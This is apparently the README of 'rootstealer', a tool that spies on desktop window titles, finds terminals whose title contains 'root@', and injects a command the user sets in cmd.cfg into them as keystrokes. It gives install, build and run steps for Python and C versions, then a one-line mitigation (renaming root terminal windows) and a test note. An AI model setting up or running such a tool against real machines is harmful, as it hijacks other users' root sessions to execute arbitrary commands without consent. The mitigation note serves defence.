Install

# apt-get install libX11-dev libxtst-dev
# cd rootstealer/sendkeys; 

Edit file rootstealer/cmd.cfg and write your command to inject.
Now you can take that following:

# make; cd ..    #to back to path rootstealer/ 
# pip intall gi
or
# pip install gir

Run the python script to spy all windows gui and search window with "root@" string in title.

$ python rootstealer.py &

Note: If you prefers uses full C code... to use simple binary purposes... you can uses rootstealer.c

$ sudo apt-get install libwnck-dev
$ gcc -o rootstealer rootstealer.c `pkg-config --cflags --libs libwnck-1.0` -DWNCK_I_KNOW_THIS_IS_UNSTABLE -DWNCK_COMPILATION
$ ./rootstealer &

Done, look the video demo, rootstealer force commands only on root terminal...

Mitigation
Don't trust in anyone. https://www.esecurityplanet.com/views/article.php/3908881/9-Best-Defenses-Against-Social-Engineering-Attacks.htm
Always when you enter by root user, change window title:

# gnome-terminal --title="SOME TITLE HERE"

This simple action can prevent this attack.

Tests
Tested on Xubuntu 16.04